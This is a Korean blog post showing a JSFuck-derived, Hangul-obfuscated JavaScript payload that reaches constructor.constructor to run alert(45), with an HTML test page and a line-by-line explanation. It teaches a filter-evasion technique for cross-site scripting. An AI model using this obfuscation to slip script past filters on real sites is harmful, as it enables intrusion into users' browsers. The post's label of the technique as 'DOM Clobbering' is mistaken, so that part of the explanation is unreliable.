어제 뒤적뒤적 웹 서핑하다가 가타카나로 된 공격코드를 보고 한글로도 한번 만들어봐야지 싶어 퇴근길에 폰으로 만들어봤습니다 😊
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
실제로 테스트해보면 정상적으로 alert
함수가 동작합니다.
<html>
<head>
<meta charset="utf-8">
</head>
<script>
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
</script>
</html>
How to make?
결국은 JSFuck에서 파생된 코드입니다. 아래 코드 보면 interger같이 여러 타입들에서 Array 형태로 호출하면 2.abcd.asdf
하는 식으로 내려갈 수 있습니다. 이를 DOM Clobbering이라고 부르는데 결국 저런식으로 Object를 참조하여 내부 consturctor(생성자)로 특정 함수를 실행할 수 있게 됩니다.
(a=1, b=2)["constructor"]["alert"]()
TypeError: 2.constructor.alert is not a function
풀어서 보면 각각 한글이 코드를 담고 있는 변수가 되고,
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
//윗줄은 각각 에러 데이터를 이용해서 문자열을 저장하기 위한 방법들
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
// constructor constructor alert(45)
최종적으론 constructor.constructor('alert(45)')()
형태의 코드로 실행됩니다.
훌
:constructor
훌(a)
==constructor(a)
jsfuck 쪽 내용 참고해주시면 조금이나마 도움됩니다 :)